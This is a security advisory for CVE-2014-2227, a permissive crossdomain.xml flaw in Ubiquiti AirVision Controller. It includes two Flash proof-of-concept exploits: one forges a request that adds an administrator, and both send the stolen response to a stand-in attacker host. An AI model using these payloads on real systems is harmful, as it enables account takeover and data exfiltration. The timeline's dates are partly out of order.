Ubiquiti AirVision Controller 2.1.3 Weak Settings

`-----------  
Vendor:  
-----------  
Ubiquiti Networks (http://www.ubnt.com/)  
  
----------------------------------------------  
Affected Products/Versions:  
----------------------------------------------  
AirVision Controller v2.1.3  
Note: Previous versions may be affected  
  
-----------------  
Description:  
-----------------  
Title: Overly Permissive default crossdomain.xml file  
CVE: CVE-2014-2227  
CWE: http://cwe.mitre.org/data/definitions/264.html  
Detailed writeup: http://sethsec.blogspot.com/2014/07/cve-2014-2227.html  
Researcher: Seth Art - @sethsec  
  
------------------------------------------------------------------------------------------------------  
POC #1: Using crossdomain.xml to execute CSRF and add an administrator:  
------------------------------------------------------------------------------------------------------  
  
// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)  
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)  
// POC Template Author's github:  
(https://github.com/gursev/flash-xdomain-xploit)  
package {  
import flash.display.Sprite;  
import flash.events.*;  
import flash.net.URLRequestMethod;  
import flash.net.URLRequest;  
import flash.net.URLLoader;  
import flash.net.URLRequestHeader;  
  
public class XDomainXploit3 extends Sprite {  
public function XDomainXploit3() {  
// Target URL from where the data is to be retrieved  
var readFrom:String = "https//victim:7443/api/2.0/admin";  
var header:URLRequestHeader = new URLRequestHeader("Content-Type",  
"text/plain; charset=UTF-8");  
var readRequest:URLRequest = new URLRequest(readFrom);  
readRequest.method = URLRequestMethod.POST  
readRequest.data =  
"{\"name\":\"csrf-cdp\",\"email\":\"[email protected]\",\"userGroup\":\"admin\",\"x_password\":\"password\",\"confirmPassword\":\"password\",\"disabled\":false}";  
readRequest.requestHeaders.push(header);  
var getLoader:URLLoader = new URLLoader();  
getLoader.addEventListener(Event.COMPLETE, eventHandler);  
try {  
getLoader.load(readRequest);  
} catch (error:Error) {  
trace("Error loading URL: " + error);  
}  
}  
  
  
private function eventHandler(event:Event):void {  
// URL to which retrieved data is to be sent  
var sendTo:String = "http://www.malicious-site.com/crossdomain/store.php"  
var sendRequest:URLRequest = new URLRequest(sendTo);  
sendRequest.method = URLRequestMethod.POST;  
sendRequest.data = event.target.data;  
var sendLoader:URLLoader = new URLLoader();  
try {  
sendLoader.load(sendRequest);  
} catch (error:Error) {  
trace("Error loading URL: " + error);  
}  
}  
}  
}  
  
-----------------------------------------------------------------------  
POC #2: Using crossdomain.xml to exfiltrate log data:  
-----------------------------------------------------------------------  
  
// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)  
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)  
// POC Template Author's github:  
(https://github.com/gursev/flash-xdomain-xploit)  
package {  
import flash.display.Sprite;  
import flash.events.*;  
import flash.net.URLRequestMethod;  
import flash.net.URLRequest;  
import flash.net.URLLoader;  
  
  
public class XDomainXploit extends Sprite {  
public function XDomainXploit() {  
// Target URL from where the data is to be retrieved  
var readFrom:String = "/victim:7443/api/2.0/admin";  
var readRequest:URLRequest = new URLRequest(readFrom);  
var getLoader:URLLoader = new URLLoader();  
getLoader.addEventListener(Event.COMPLETE, eventHandler);  
try {  
getLoader.load(readRequest);  
} catch (error:Error) {  
trace("Error loading URL: " + error);  
}  
}  
  
  
private function eventHandler(event:Event):void {  
// URL to which retrieved data is to be sent  
var sendTo:String = "http://www.malicious-site.com/admin"  
var sendRequest:URLRequest = new URLRequest(sendTo);  
sendRequest.method = URLRequestMethod.POST;  
sendRequest.data = event.target.data;  
var sendLoader:URLLoader = new URLLoader();  
try {  
sendLoader.load(sendRequest);  
} catch (error:Error) {  
trace("Error loading URL: " + error);  
}  
}  
}  
}  
  
-------------  
Solution:  
-------------  
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note:  
The application name changed from AirVision to UniFi Video)  
  
-----------------------------  
Disclosure Timeline:  
-----------------------------  
  
2014-02-25: Notified Ubiquiti of crossdomain vulnerability in AirVision product  
2014-02-19: Ubiquti confirms receipt of AirVision report and existence  
of the vulnerability  
2014-02-28: CVE-2014-2227 assigned  
2014-03-12: Requested status update  
2014-03-27: Requested status update  
2014-04-07: Requested status update  
2014-04-09: Ubiquiti provides timeline for solution  
2014-04-18: UniFi Video 3.0.1 is released  
2014-06-13: Set public disclosure date of 2014-07-24  
2014-07-24: Public disclosure  
  
  
`